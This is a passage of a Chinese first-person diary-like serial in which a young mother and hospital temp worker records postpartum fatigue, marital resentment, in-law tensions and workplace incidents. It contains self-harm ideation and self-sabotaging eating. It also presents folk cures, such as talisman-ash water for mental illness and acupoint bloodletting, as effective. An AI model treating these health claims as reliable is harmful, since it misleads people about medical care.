    也许真的出生在这个世界就是有苦的吧！这是谁都没有办法逃避的。没有生小孩子的时候，会想好好学习，等以后有宝宝了就好好的教育它，使它成为一个幸福快乐的人。等有了宝宝以后就发现成为妈妈并不是一个万能的人，她并没有办法无时无刻去关注一个孩子，也没有办法三百六十度无死角的给它安全感，怎么做都会有心理阴影。而且心理阴影并不是因为外在因素造成的，而是宝宝对外在因素赋予的定义意义。所以这是一个不可能完成的事情。我没有办法做一个完美的妈妈，为没有办法把我的小孩子变成一个完美幸福快乐的人，没有办法消除它的心理阴影。
    这个认知挺好的。因为这样子我就不会天天怨恨我妈妈。我的内心里很多的负能量，然后很多时候我都会怨恨我妈妈，因为我感觉不到我存在的意义，我感受不到爱。我感觉我有问题，问题在于我感受不到爱。我感受到的东西都有问题，是错误的。以前我会去怨恨我妈妈，怀疑她是不是过的太不好了她不爱我，所以我并没有感觉到爱，而现在这个认知，让我对她的恨变得少了。
    我不知道如何才能改变我的潜意识，其实我没有办法改变我的潜意识。没得选。其实就是没得选。很多对自己有好处的事我几乎从来不干，对自己不好的事我几乎天天干。
    其实我没得选。这就是我的潜意识。没得选的选择。
    看了一点点三十而已。跳着看，就看了一点点，看到了钟晓芹离婚的片段，其实只看了一点点，其他的看评论，后面跳过去看到了他们又复婚了。评论里说他们两个其实还好。只是两个人沟通的问题。导致有矛盾。这让我想到了我和老公，我在想会不会我们也是这样子，没有沟通好呢？所以我就直接说了。
    我感觉还是单身狗的生活更好，如果心情保持平衡的话，但是这个时代没有办法让女孩子单身的姿态还保持平衡的心情，总之都会有各种个样子的事情让你发现单身的状态很糟糕，然后结婚了发现，结婚也很糟糕。也许只能在心里不停的对自己讲，可使劲熬吧，等自己六十岁死了，没准会发现这只是一个痛苦的梦境而已，或者穿越了呢！看放开那个女巫。那本小说就是一个社会主义核心价值观的接班人穿越到那个世界活出精彩。没准好好学习，以后有机会我也能学以致用。可是没劲。这些也就是想想而已。心情不好。
    女孩子的心情真的很奇怪，没有办法用道理解释的东西。前段时间去中医科开了点中药，吃了一段时间，月经更好了，月经前期的莫名其妙的生气也没有了。不过可惜。我比较喜爱让自己受苦，所以我又吃东西把病吃回去了。他奶奶也经常会说自己是个受苦的人，每次都会说这样子的话。我感觉这个有暗示的存在，或者她的日子其实很不错，相对于和她同阶段的女性来说，但是还是要说自己是受苦的人，以免遭到别人的嫉妒。因为我那边的村子的人是这样子的，总说自己有什么病痛，然后她会反问为什么你家里的人那么健康。以前我听不懂。等我结婚了我就懂了。听懂了他们的意思。也许我的内心真的比较黑暗，所以听出来是这个意思。但是我还是不理解，为什么自己生病了，一个劲的抱怨，要讲为什么别人那么健康呢？阳光一点说他们在请教保持健康的方法，可是他们给我的感觉就是不快乐的，没有那种阳光的请教别人的感觉。或者我能看见听到这样子的东西，都是我的问题吧！
    我回忆起来，就有点子过不去放不下走不出来。那种情绪确实是愤怒的？也许是也许不是。只是这个片段忘不了。又不知道它存在于我心里是什么感觉。想起来就会有提防之心，感觉对他人充满了防备。表里无法一致。而表里一致又会导致别人对自己的莫名其妙的嫉妒。总之很让我烦恼。无法理解。
    这个世界看到的都是我脑子里想象的。所以还是无法理解自己想象构造的东西。
    突然又想起了外公和莫迪的动漫，里面的一个细节，他们创造了一个机器人，用来搬黄油块，莫迪问活着的意义是什么，小机器人也这样子想自己的问题，也许本来就没有什么意义呢？存在的意义只是搬黄油块，也许我也不用去绝对的寻找女孩子的意义是什么。也许真的就只是为了生小孩。如果有一天女儿真的在十八岁就找到了她一生想要嫁的人，那就让她去呗。反正我连自己的日子都不能保证以后就一定会变得很美好，怎么可能确定而又绝对的想她以后的人生会怎么样呢？就那样子吧！
    看了很多末世文，末世以后女孩子的状态会非常的惨。所以现在的世界很希望它的平安会更久一点，能够再久一点。可是这个世界给我的感觉传递给我的能量，感觉不是很快乐。非常难熬。不管是自己的还是别人的。
    但愿会有好的解决办法吧！我也只能理智上去想这样子的事情，其实从心理上来说，从情绪上来说，我并不快乐，我感觉自己超级愤怒，我有好多的气愤。
    从结婚以来。我很愤怒，生宝宝以后的日子，感觉很辛苦。也许家里人其实是好意的，然后那段时间传递出来的信号就像别人是好意听到我的耳朵里也是不好的意思。愤怒于这样子的模式。可能这就是由于我的身体比较虚弱，导致的，这是我所理解的。由于身体比较虚弱所以比较敏感。神经衰弱。愤怒于生完宝宝以后身体变得很差。以前的身体素质也不算好，生完之后就更不好了。调理了一下，但是感觉自己还是会变回去。因为饮食方面。还有作息规律。但是这个时代还是会变回去。
    总之很让我心里充满愤怒。怎么子改都是这个样子的。
    只能躺平的感觉，没得选。

 第137章

    昨天来了一个新保安，以前的小伙子23岁左右，他打算去其他地方工作了。他的年龄在保安当中是比较小的。其他的保安都是五十来岁的大叔。记得第一次上班的时候，我以为他是五十岁的大叔，后来他说他二十三岁。然后才不好意思的说没有看出来，因为他晒得久了比较黑。
    他在女士面前看起来很乖巧的感觉，在保安和保洁的身边就显得调皮捣蛋。好多的保安保洁阿姨他都认识。是李院长介绍过来的。因为他们同一个村子。管理导医的小姐姐是他的婶婶，在医院洗衣服的阿姨好像也和他沾亲带故。他的故事很多人会讲。大概就是早年丧母。然后父亲再婚。其实也不知道是不是真的。
    然后他自己讲过在奶茶店的工作。又要上晚班又要上白班，一千块一个月干了很久。我以为奶茶店的工资很高，有点打破了我的认知。他是初二出来的，自己介绍自己是那种家庭条件还好的人。可是给我的感觉没感觉到。保安的话两千多一个月。从早上七点上到晚上七点。他的生活开销不用多少钱。一日三餐都会回家吃。但是玩游戏的开销比较大。一个月会花好多钱去充腾讯会员，还有买游戏皮肤。
    最近加了我们的微信，对于我来说。我看他属蛇的，属蛇一般都是以利为主。没准这个人以后会大有出息。没想到他加我们微信是想借钱买皮肤玩游戏把妹。然后我。。。。
    算了。昨天中午，他说好困需要休息，早上五点过来接班了。然后他就睡着了。然后老宋看到他睡着了，我就顺口说了一下。老宋说了他一下。老宋说他看起来很像阿二子，五点多过来接班，不可能。因为保安二十四小时上班的，人家都是七点到七点。他来那么早干嘛。老宋在他走后说，这小伙子看起来不行，不知道哪一个人会喜欢他，感觉正常人不会喜欢他。因为保安的工资就那么一点点。除非他很有钱给人家彩礼四五十万，然后才有那种特别的穷的人才同意。但是时间久了人家还是会离开的，因为这个形象给人的感觉不靠谱。
    不晓得。我和另一个同事感觉他比较年轻应该可以去电子厂工作，一个月的工资应该会比保安高很多。而且电子厂的妹子比较多。像他这样子的人家里条件还行，自己的条件一般般完全可以去电子厂发展。不过不晓得。这只是我们想的，他自己想的不清楚。我看他的脸上有一颗痣给我的感觉是苦情痣，就是有这个痣就会变得很苦的感觉，以前我眼睛下方也有这样子的痣。也不知道是干嘛的。反正对自己好一点事几乎不干，就是想要干对自己不好的事，因为心里很难受吧！然后另外眼睛旁边有一颗痣，说明这个人有伪装的感觉或者是有烂桃花的感觉。但是这只是搜的，我也不清楚是不是真的。成年人了大部分人都会伪装，伪装是人的生存能力，也没有什么办法。
    分析早年丧母对他的心理产生了一点点影响。不过我也不太理解。可能心理面会像一个小孩子。。不理解没看出来。也不知道如何和人沟通。感觉这个人有心结，但是不清楚，说不明白。
    但愿人家的日子会好起来吧！反正这种不要钱的美好祝福送给他，别的我感觉我也帮不上什么忙。毕竟我人际关系处理的很差。人又是脸盲。他们换身衣服，我就不认识了。换个发型，又不认识了。
    我感觉我以前的记性也不会差啊，记人记事的记忆力可好了，几乎一个科的病人都记得很牢固，但是不知道为什么现在会这样子。可能我对病人有什么心理阴影，或者对工作有什么心理阴影还没有让我发现的，搞得我记不住人。又或者就像玄幻故事一样，我碰到了可以许愿让我日子过得好的东西，但是许愿实现了，它需要我付出代价，代价就是它会收走我的天赋。毕竟学医的天分我是没有的，但是我很勤奋，其实勤奋到一定的程度，可能运气会好一点，可是没有天分的勤奋其实是无用功的。日子过得苦。可能我碰到了实现我愿望的精灵，然后她把我的记忆力换成了其他的东西，毕竟有失就有得。也许吧！希望这是我想多了。可能就是肾虚。肾精不足。毕竟以前我的身体就不怎么好，然后工作了以后，工作的压力大，也不怎么按时吃饭，然后脾胃也差，医生之前说过我的状态就是脾胃很差导致湿热很多然后久而久之就会精神意识状态更差。他那个时候说我需要调理不然以后不好，但是他说的太准了，我不敢找他看。我害怕。这种需要长期吃药，我基本上不喜欢长期吃药，然后吃到一半就会不吃药。因为我感觉我心理并不想让我好起来。
    运动也试过，然后过几天就回来了。可能我习惯了这种生活。然后不太习惯与它告别。我感觉疾病在我的心里，我对它产生了特别的依赖。它让我收获了和爷爷奶奶沟通的能力，所以不舍得它离开吧！
    我感觉别人也差不多。但是还是希望心结会打开，早点好起来。日子其实也可以过的好一点

 第138章

    今天肚子痛，和老公讲，他在打游戏。然后就和他弟弟一起玩。他不关心我了。
    他们吃好了饭，叫我洗碗，我都很早吃好了，他结婚前说过自己会洗碗的，然后结婚后也就洗了一次碗。
    我今天感觉不开心了。
    因为我的病还没有好，好几天了。我觉得是因为生了小孩子以后身体变差了吧！坐月子的时候，天气并不冷。还有点热，我考试出去过一次然后那个时候天很冷。在坐月子的时候没有出去的时候，家公每天都在抱怨很热，然后开了风扇，还有开门，我们的新房子一开门就有好大的风。总之这些让我很难受，还有他弟弟那个时候每天都很闹腾，也时不时说自己热。
    现在回忆起来不开心。
    我老公怎么讲都没有什么用了。他什么都不听了。他认为我作。我认为他没有实现他讲的话。很多时候他说的话让我感觉很温暖，但是他做的很慢，几乎要我去催他才会做。催了他又觉得我很烦，不尊重他，不催他根本没有这个心。
    我该怎么办呢？我想要什么样的生活？我也不知道，走的潜意识里很希望自己过的惨一点。因为这才符合我的处境。有那么一瞬间我感觉到了爷爷奶奶的存在了。我也不知道为什么会想到这个。那个场景里是我买回了两个西瓜，那个场景里爷爷有点不开心，然后奶奶挑了一个西瓜送人了，我感觉那个西瓜很好吃，而留下来的西瓜还行，一般般的感觉。那个时候她不开心。我想我以后会不会也这样子选择呢？我不知道。
    然后就是下一个场景，那个场景里，我做在凳子上，对爷爷说小姑很聪明。笑眯眯的，而我并没有她那么聪明。爷爷奶奶给我的感觉很不开心。我是说她是会计的意思。因为她上过大学，然后她考到了会计证，工作很好。其实我并不羡慕她。因为我认为我学习的天分其实都还好，但是我并没有找到让我热爱这些学习的勇气。没有热爱的感觉。所以也不羡慕她。她做的好。
    下一个场景是一个男的，他说我天分很好，但是我终究还是会一事无成，因为我的人生里更多的是听话，乖巧，并没有热爱的感觉。也没有勇气去打破自己的规则。所以会变得碌碌无为。
    然后下一个场景是一个梦，梦里面爷爷奶奶说一个东西没有任何意义。我在梦里呆呆的看着他们。我也不知道什么感觉，以前的那个梦境里，我感觉的是什么呢？好像感觉到了他们对小姑的关爱吧！我感觉这个梦讲的是小姑姑。而在于我自己我感觉其实有意义和没有意义都一样吧！
    下一个场景是相亲时。小姑姑说其实很好的人家他们的规则都很多。和他们相处会很累。其实我也差不多这样子认为。因为我的心思很简单，稍微复杂一点点我就不理解了。我不想让我以后喜欢的人为难，因为我不会讲礼数，很多简单的东西都简单的处事。可是我并不是很开心。
    我的内心是有野心的吧！其实也没有什么野心。我也不知道怎么讲我自己。我有野心的时候，我感觉我并没有能力。而是使不出自己的能力，也许是我的道德感很强烈，然后我一直保持一种比较笨和愚蠢的状态。因为我害怕我变得很丑的灵魂，所以导致我的内心里对工作和生活的心思么有办法出来，然后就变得很抑郁，内耗。这是我的认知能力的问题。然后等我感觉我有能力了发现我没有了野心。我并没有想要把自己的人生变得更好的想法。就算有机会我也看着它浪费，不管我用羊皮卷的东西去鼓励自己，也弄不懂了。
    我病了，可是我快好了，我又会通过各种个样子的方式把那种东西吃回来。所以我的病没有办法好。也许我心里不太想好吧！
    琴琴说要对自己的情绪负责。不管自己因为什么情绪而做出来的选择都必须对自己负责。因为我已经是成年人了。
    以前我很听话，我总感觉自己没有叛逆期，可是等我想要去反抗一下子的时候，发现自己已经老大不小了，我需要去考虑很多人的想法，希望大家都好好的，问我自己想不想，我不能不想，因为我们比较穷的人没有第二次选择。
    最近想起来，那个只有十块钱做一次选择猜东西的小孩子，穷的这个只有一次机会，而富有的有好几次机会。所以我其实并没有多次选择的权力。很多时候。
    现在的人生我并没有过成自己想要的。我想要的人生是我可以给老公捶背，然后我们一起节约钱，精打细算的过日子。每节约一点，我都会感觉很快乐。可是现实生活是花钱的地方好多。老公一家生活方式也许是幸福的吧！不过我的原生家庭也还好，我的原生家庭是精神幸福的，老公这边是物质幸福的。家里小孩子想要什么基本都会买。我们家也会买，但是基本上都是买书并不是买很多玩具买果子，也许他弟弟和我们的年代不一样，所以他能收货很多的玩具和零食，如果我生活在这个年代我小时候应该也会有很多的玩具和零食吧！也许吧！反正我的感觉就是他弟弟好幸福。每个人都用不同的方式去爱他。让我心里有点子嫉妒。
    我该说什么呢？我也不知道该说什么。毕竟这又不是我家里人的问题。他们已经把最好的东西给我了，而我却渴望更多的东西，希望他们能够给，但是这其实应该是我自己给我自己，哪怕是金钱或者是其他的东西。
    我今天肚子痛，我老公一点也不关心我，然后我昨两天吐了，他嫌弃我吐了还叫我自己弄干净。而我就像中了邪一样，还觉得他这样子很可爱。
    最近他堂妹结婚了。然后家公说他堂妹的奶奶是一个神婆，怀疑弄了什么法术让他堂妹对那个男孩子死心塌地。说他们那边有一个六十岁的老人家在哪里捡了一个菩萨的项链，然后就变得很神，基本上会打电话去问他什么事，他就会告诉别人解决的办法，然后很灵。有一次他们那边有一个男的出轨了，他老婆就和那个男的吵架不开心，然后他就去求了那个老人家，那个老人家就给他烧了个符纸他老婆喝了一碗水，就和他和好如初。再也不闹了。但是并没有讲他有没有再次出轨。然后让我想到了我老公是不是也是这个样子呢？
    问他他说是他家用了什么方法导致他娶了我。这个好像是八卦吧！每天的时辰，他们挑一个我们心情状态最好的那个时辰，然后在那个时辰里，我的精神状态很好，几乎没有什么负能量，一点都没有，只想开心的结婚。
    可是我并没有办法生气。某一段时间就像有什么奇怪的东西来了自己精神世界一样然后就吵架，然后过了一段时间家里念经或者干嘛，它们又走了。
    这个世界真魔幻。都是讲科学的时代，也不怎么科学。
    这个也许是祝由术吧！
    有那么一段时间我想沉睡了，可能太困了吧！晚上很难睡觉。生完了宝宝以后阴虚火旺。
    我有什么样的情绪吗？我好像什么情绪也没有了。没有感觉到快乐，也感觉不到悲伤。更多的时候是很强烈的评判心，然后感受自己很难受的感觉。
    我不知道我喜欢不喜欢这个世界。反正我们都是会死亡的。不知道这个世界会不会很精彩，反正我并没有太多的情绪。
    也许是这几年我变得心情很平和吧！过几年心情就会变得很差了。又是另一种光景。
    也许被某一个人看到了会很生气然后又有可能会惹上因果。哎呀不管他了，科学又不科学，不科学又科学。
    我本来就想心甘情愿的死去，等我死的那一天对这个世界，对我的家人心里没有任何的抱怨而已，只是一个简单的愿望而已，其他的管那么多干嘛。

 第139章

    今天母亲节。老公洗了碗。我叫了他，他今天动了手洗碗。
    然后吃完饭，我感觉肚子不舒服，想叫他帮我揉一下，然后他拍我的肚子。我有点子生气，因为我希望他给我揉，而不是拍，我小时候肚子不舒服，都是爷爷揉的，很小的时候。我希望他也给我揉一下。但是没有。有点子失望。
    然后我们吃东西，聊起了他堂妹的事。堂妹未婚先孕。男方比女方小五岁，没办法打结婚证。本来谈的彩礼是十六万九。只给了两万。剩下的不知道会不会给。他们有房子婚前买好了房子，而且已经装修好了。所以堂妹未来的生活估计没有什么保障。听得我有点子不开心。
    然后我和老公有点子生气了。洗澡洗的比较久。肚子痛。不知道我们两个能过到什么时候。
    不管它吧！
    今天下午发生了一件事。让我有一些感想。事情答应了人家保密。事情就不展开来讲了。这件事给我的感悟就是:想到了一个故事，螳螂要生小孩子的时候。母螳螂会把公螳螂吃掉，然后它生完了宝宝之后，母螳螂会死去。这个故事其实也不知道是不是我乱想的，因为我也没有怎么看。我的理解是这个事情和结婚差不多。结婚了以后，男的就死了，基本上都在为家庭做贡献了。女的在生完了宝宝之后也死去了。就像这个世界赋予她的美好事物她赋予后一代了。所以婚后她也死了。在没有充足的准备还是不要趟这趟浑水吧！个人认为结婚也好，离婚也好孤生一人都是幸福的事。怎么样做选择都好。反正每个人的剧本都不同，都有来自人间的一趟学习的东西，领悟到了就好。
    母亲节其实我很希望老公和老公的弟弟对家婆讲一句母亲节快乐就好了。然后发现并没有。不过我命里也会有两个儿子的。估计他们会和老公一样是同样的种子。有点子心塞。并不用看家婆的笑话，因为她就是老了之后的我。
    昨天看了一点点娇妻文学的讨论，其实我并没有自己的思想，只是博主讲的也有道理，有那么一种看别人在对其他人说:我在吃屎，你怎么不吃的感觉。
    不知道什么感觉。但是平心而论。在条件一般般的时候好像也确实需要各种划算。不知道怎么讲。大概的事情就是女的玩游戏，她的游戏账号绑定了男方的卡，刷了一百八十八块钱买游戏皮肤，然后男士就过来说这个不划算巴拉巴拉的。然后女士就感觉自己的男朋友特别的有头脑，然后就放弃了买游戏皮肤，还秀恩爱说自己男朋友很体贴很理智巴拉巴拉的。然后博主就说这个事让她感觉到了不适。不舍得花钱就不要绑银行卡啊。绑了又不愿意花钱买。
    晚上睡觉前，他说他一大早就给他妈妈发了红包。然后显得我非常的矫情多此一举的样子。说我怎么讲他们两个是叉烧。我说叉烧就是身上掉下来的肉又回去的意思。不好吗？心里想难道还要说生你们两个不如生个叉烧？而且自己给妈妈发了红包，我想问他没什么没有和我讲。不过我没有问。他自己说我没有给他开口的机会，他随时也可以开口啊！难道一定要我逼他？然后又在哪里说我给自己老妈发红包为什么要和你讲？我心里想:我给我妈妈发红包，我都会和他讲，我把他当一家人。他给他妈妈发红包，他都不和我讲，他是不是不把我当一家人呢？
    不过我并没有生气。所以说他爷爷的祝由术很厉害。面对什么我都没有生气。就很平静。没有什么太多的感觉。也没有一点点愤怒的情绪。这哪是过日子啊！就和娶了一个游戏npc一样。不过对我来说，我面对这样子的事情，不会体会太多的失落失望，悲伤的等各种负面情绪。我并不知道这是不是好事。
    感觉老公不浪漫。以前他会买水果给我吃，后来他就不买了，发现他们全家都不爱吃水果。
    本来吃饭之前有一些虾饼。很好吃。我感觉还行。之前他家奶奶做了一次很香，然后家公带回来了他很爱吃。我吃了一些，留给了他一点点。因为上次他说很喜欢吃这个饼子。然后今天和家公讲，上次的事，他说没有这回事。根本没有家里做虾饼的事。上次他还讲了很久，说自己河里弄的虾特别的香，家公想去买到二十斤虾仁来自己做，当时我感觉他是不是吃的有点子着魔了，有那么好吃。超市一斤好一点的五十九块八，二十斤那需要多少钱。肯定能吃腻。今天说从来没有这回事。
    晚上吃完饭，我发现他没有看到我留给他的饼子。哎呀算了自己吃。

 第140章

    今天生气了很久，因为上次的事。我感觉我可能是因为最近没有休息好。然后好生气，然后生气的能量变成了攻击我自己。！好愤怒，为什么老公会没有告诉我一声？
    然后一整天脑子里特别的想吃好多不好的东西想把自己的身体搞差然后让他受损。好烦恼啊！想吃麻辣，想吃好多东西。然后就变成了好多的杂念。
    然后让我想起了中冲穴。想到了一个医学生说发现自己突然会笑，然后就中冲穴放血，喝盐水，，解决这个问题的办法。我想一下可能我也差不多吧！心里面充满了很多烦恼。然后下班就去找了这个穴位，按揉了一下感觉心里好受多了。挺开心的可以学习更多的东西。
    人应该学会惜福。造福。造福我还做不到。我希望我珍惜现在的生活。虽然它只有一点点的美好。原谅放宽心。生命只有一次，没必要去浪费在我不喜欢的事情上。发生了很多糟心的事能解决就解决，解决不了就当我磨练心性了。
    新的一天。心情好烦恼哦！而且有好多的烦恼的情绪。
    第一件让我感到烦恼的事。上午知道了自己昨天忘记直接回消息给保安，然后导致保安昨天一晚上没有怎么休息。昨天护士节。有一个蛋糕放在医技楼导诊了，但是被人拿走了，不知道是谁拿走的。我两点半下班了。护士长希望叫我问一下下午班的人，把电话号码给她，然后我就给了保安的，因为他上班上到晚上七点，他可能更清楚，然后他说看到一个胖胖的人拿走了。然后就给另一个同事也发了信息询问，几乎第一时间，同事也回复了，就把截图给护士长了。我以为那个胖胖的人是手术室的医生，因为手术室有一个医生是胖胖的，然后发现那个胖胖的是另一个科室的医生。后面又打电话，另一个同事的电话打不通。后面快到了十点的时候。找到了。可是我忘记给保安打电话告诉他找到了。因为我以为这个事他告诉我了就可以了，不用那么麻烦的。然后没想到他一个上白班的人，早上七点上到晚上七点。然后昨天就回去翻监控，搞了一晚上没有找到蛋糕。然后心里很紧张，凌晨三点还在翻监控，害怕少了东西会被投诉。
    搞得人家一晚上没有休息好。只是因为我少说了一句话。搞得我很不好意思。然后请他喝奶茶。主要我也顺便很想要那家奶茶店的袋子。点了几杯。有两杯我中午带回家去了。
    主要一个老师她不喝这个东西。然后我的话怕冰。就中午喝掉了。留了一杯给我老公。
    我家婆和家公之前说过他们一点也不喜欢喝奶茶。然后我就没有买过。就剩了两杯。自己喝一杯留老公一杯，我自己认为没有问题。他弟弟又还小。
    然后家婆中午就在说一个事。说哦上次去一个地方修车，然后那天穿的很厚，那天天气很热。然后问那个店家能不能给我修一下车，他不回应我。我就有点子不开心，我以为他觉得我穿那么厚是有点子神经病，所以不给我修车。后来才知道他是聋哑人是没办法听见的事。我当时不知道怎么一回事。吃完了就回房间了。还没事人一样和家公说了一会儿话。根本没有想那么多。
    然后下午碰见一个人，他说他扫了码，我没有记住他，也没有听到保安说他记得那个人。然后叫他扫码，那个人就好生气，说自己从发热门诊过来的，然后还要扫码，说我有病，。我叫他出示缴费单那里有时间我可以知道他是不是已经过来的，然后他不出示说自己就是从发热门诊过来缴费的，怎么可能有缴费单，好生气的把我数落了一顿，说我一个临时工看起来蛮得瑟一样，总叫他扫码扫码。什么都记不住。然后我还是耐心看完了他的码。然后等他走了保安说他看到了那个人，认得到的。他和我说了，但是我没有听见。然后我耐着心说没事是我自己没有听清楚。才导致被骂没办法，而且我又记不住来来往往的人。
    后来下午下班回家了。老公说我买奶茶怎么就买了一杯。说下次不要这样子了。然后我就把那件事告诉了他。直到吃晚饭的时候。才知道家婆说的那个意思就是说感觉我有病，买喝的东西只买自己的，没有买他们的。吃完饭。我没有想到这个事。
    后来躺床上，不知道怎么子就想到了这个事。而且感觉懂了中午的事。
    让我有点子悲伤的情绪。毕竟我是嫁了的人，考虑事情确实需要全面一点。
    以前在自己一个人生活的话，买的果子基本上就买自己一个人的。没有考虑过那么多。
    而且相亲的时候家婆家公说过他们不喜欢喝奶茶。我以为不喜欢，就不用买了。还有没有想到保安会做那么多事，我只是少说了一句话。没想到人家那么担心。
    我想我可以成长一点点吧！至少以后工作的时候要考虑全面，万一事情解决了，告诉一下相关人员。万一人家好负责，可以省很多事。
    第二点，没想到现在的家里很复杂。我以为人家不喜欢就真的不喜欢。没有考虑那么多，真的就当一家人而已。其实和自己家还是有区别的。以后能考虑清楚一点就清楚一点吧！毕竟我情商是有待提高。我没有想到我会被很委婉的讲神经病。很多感情上的事情处理不好真的很容易被骂。不过我的情商确实很低。
    有点子烦恼和无奈。我应该怎么办呢？
    我不是一个做事滴水不漏的人。做好很多的事情确实很难。可是我需要成长。需要去思考全面，需要做好事情。

 第141章

    我只是感觉情绪里好多的负能量，很想写下来把我心里的负能量转化回去变成我自己的能量。不知道为什么我感觉我写完我好像心情更不好了。
    奇奇怪怪的，突然之间会感觉自己内心里会说自己已经忍耐自己很久了。可是我不知道什么意思。也不是我不想知道，而是我应该怎么知道我心里的情绪到底在讲什么？
    我觉得我变成这样的情绪是为什么？原因？
    我忍耐自己很久了，因为最近在玩游戏，没有好好学习？还是在干嘛！
    我内心里有很多的愤怒。这几天总是有莫名其妙的愤怒，我不理解我的情绪。我很想知道我的情绪在讲什么？
    这几天的事。宝宝晚上会闹一下子，可能是需要吃奶的原因，反正晚上我需要醒。以前的话如果晚上就我一个人熬夜我会感觉很不开心，现在的话这种不平衡的想法，更少了。然后昨天老公说在我睡的和猪一样，其实他醒了在给宝宝换纸尿裤。不过我也好几天的晚上都在熬夜，然后白天上班。疲倦是有一点。
    第二件事，今天一个老师不知道怎么了突然血压好高。平时她都好健康，另一个老师她也有高血压，很高，然后长期吃药。我家婆也有高血压吃药可以降下来，不过以后我也会高血压，因为我的脾气不算很好。平时上班态度好，下班回到家里其实好多负能量，我感觉大部分的人都差不多吧！这个社会是这个样子。
    有两本书我好想买。我老公说我买的书基本不看，所以不要买。主要还是工资买的多的话生活开支不够。不过也可以选择百度网盘。不花钱的。可是听了感觉情绪有点子失落的感觉。但是其实自己买的书确实很少看，在理智上来说买不太划算，可是不买不开心。以后来卖吧！不知道自己什么时候能买。
    今天家婆家公讲了自己读书的经历，因为家里小孩子多，所以没有读很久的书，我感觉家里有一种很沉重的情绪，不过我不知道怎么讲。因为其实我也没有懂多少，虽然读了书。其实我的学历也不算高全日制中专，然后很多东西都不懂，社会需要的是综合性人才，只有一种能力其实也就这个样子。觉得学习最重要的学习能力，在社会上更能生存，这是上学时老师教的。不过那个时候并不明白这个道理，现在工作了就从心里理解他讲的这句话了。字面上的意义其实很容易懂，但是说到人的心里去却很难。
    我总是忍不住想要去依赖别人，可是最近我在学着断奶。就是学着不从心理上依赖别人。我搞不懂为什么我心里会特别的想依赖别人。总是很难理解自己。真抱歉呢！我的身体。
    我最近又忍不住吃了一些辣的东西，我的咳嗽又回来了，我好像并不想好起来，可是我不知道为什么自己不想好起来。
    一开始我对自己生病的想法是脑子里有好多愤怒的情绪，然后我没有把它发出来，然后它转变成向内功击。又在不停的在我的脑子里说我笨说我蠢，然后怎么还不去死，活着对我没有任何意义，我根本不适合活在这个世界上。我实在是情商太低。总之不停的在脑子里循环的感觉。
    我应该怎么办？
    真是负能量爆表的一天。
    我感觉自己好多愤怒的情绪。结婚了有小孩子以后我下班就带娃，老公他就玩游戏，所以我一个不怎么爱玩游戏的人，好像也在学习着玩游戏，而且还玩很久，我不理解为什么会这样子。好像我在赌气他玩我也玩。一样。我不明白为什么要赌气。我为什么要做没有意义的事呢？
    我感觉前两天带宝宝好开心，我的心情也很美好。不知道为什么今天心情不好了。
    我以前喜欢什么自我成长。现在我好像并没有那种想法和感觉。我的内心其实也有很强的攻击性，不过一般都变成内耗，，对自己攻击，因为我不想做一个面目可憎的人。可是我感觉现在这样的自己更奇怪和不开心。好气好气。内心充满了愤怒的情绪，可是我又舍不得对别人发火。主要我也害怕，因为对别人发火是很信任的人才会对它发火，在它面前，你发火了不会收到负面回馈，它会接受你承受起这种情绪，可是我没有找到。不管是亲妈还是老公，或者其他的家人，我好像没有那种特别的安全感。也许我的安全感是我同学，不过我不能打扰人家一辈子吧！
    每次都把别人当一个树洞一样，可是以后他也会有自己的家庭，还有人生。我总是需要自己学会长大。学会断奶。学会自己处理自己的负能量。学会让自己的负能量回到自己的身体里，把自己完善起来，好好修整。这是一个很漫长很痛苦的过程。可是这段路必须学会自己成长。

 第142章

    昨天很开心。听到了医生的一生从医的故事。他说他学什么就感觉自己得了什么病，然后感觉所有的病都能被治好，后来就越学越工作就发现有很多病是没有办法痊愈的。而我的就是学了什么病，感觉什么病都治不好，人活在这个世界上感觉都病的不轻，可能没病的人他不会存在于这个世界上。医生和护士的想法都是不同的吧！
    讲了几个故事，有的是专业性的故事。说了一些自己没有办法治好的疾病。对此我比较意外，因为好多医生差不多都会吹自己多么牛，可是我们医生没有吹自己多么牛。很客观的说了，自己的知识缺陷。有些病自己没办法看好，然后别的医生看好了，他去向那些病人医生请教的故事。还说了中医的优秀和奇特。有一个病人的腿肿的像汤碗一样大，用现在医学怎么治都治不好，四五个医生都对那个病人束手无策，然后被一个老中医治好了。只用了七天的药。那个人的腿就不肿了。然后医生们拿了一点点那些药去找是什么药，有一些药没有找出来。然后就给那个老中医送礼，请教，那位老中医说他带徒弟需要交七千元的学费。那个时候医生才八十块一个月。家境一般，那个时候的这笔钱相当于几十万，所以拿不出来非常遗憾。然后有一个医生去学了。砍价砍到了三千五。学会了的医生告诉了他一味药。不过我听不懂。
    学中医好难啊！而且好贵。这是我的想法。医生说他一直都是在学习，不断的学习。向自己学，向病人其他医生学习，向书本学习。总之活到老学到老。对此我并没有太大的触动。因为我认为这些话很有道理但是很官方。我没有触动心灵的感觉。但是话是有道理的。
    还有一些病人的故事，有的病人有精神症状，他们医生治不好，可是病人去找一些奇怪的人写了一些草药的名字烧了那张纸的水病人喝下去，那个精神症状就好了。后来就一直都好了。他说很多事情他也感觉很神奇。我没听懂这句话。我的理解就是很多事是不可思议的事。我们的科学还在探索之中。也有可能那些也是科学，可是并没有传到我们这里。
    最近我的妇科病有点子重。我以前没有得过这样子的病。几个星期以前，我突然特别的生气，那段时间好像宝宝每天晚上都会醒，然后喝奶很正常，但是那几天好像有点子闹。然后我心里对我老公很生气。突然很愤怒，愤怒他就天天打游戏，玩手机很晚才睡。然后搞得我晚上又很晚，白天又要上班。然后就是一大堆的情绪，认为他在欺骗我的感情。骗人家结婚生完了孩子之后，就自己一个人玩游戏享受过日子，而我还要熬夜。那个时候就特别的想自己得很重的病，希望有一天子宫可以拿掉，不知道为什么会有这种想法。因为那段时间我感觉不到他对我的关心还有感情，很多的态度让我感觉他对我不耐烦。
    后来我就得了妇科病，然后本来快好了，又更严重了。然后现在就没得好。
    昨天又好生气。他说我吹头发吹了一个小时，电费用的很高。我说我要不要剪头发，他又说不要，然后今天醒来的时候，我感觉我好生气。凭什么我要剪头发。心里抱怨怎么我嫁了他。穷鬼。可是本意好像不是这样子想的。烦躁不知道怎么回事？在道德里面不能这样子抱怨自己老公。可是听了好气。心里想还是单身狗的日子好。需要吹多久头发就吹多久头发。好气愤。果然不管是结婚还是单身后面的日子都会变得后悔。没意思。
    后面妇科病看了医生也很难好。感觉好气。
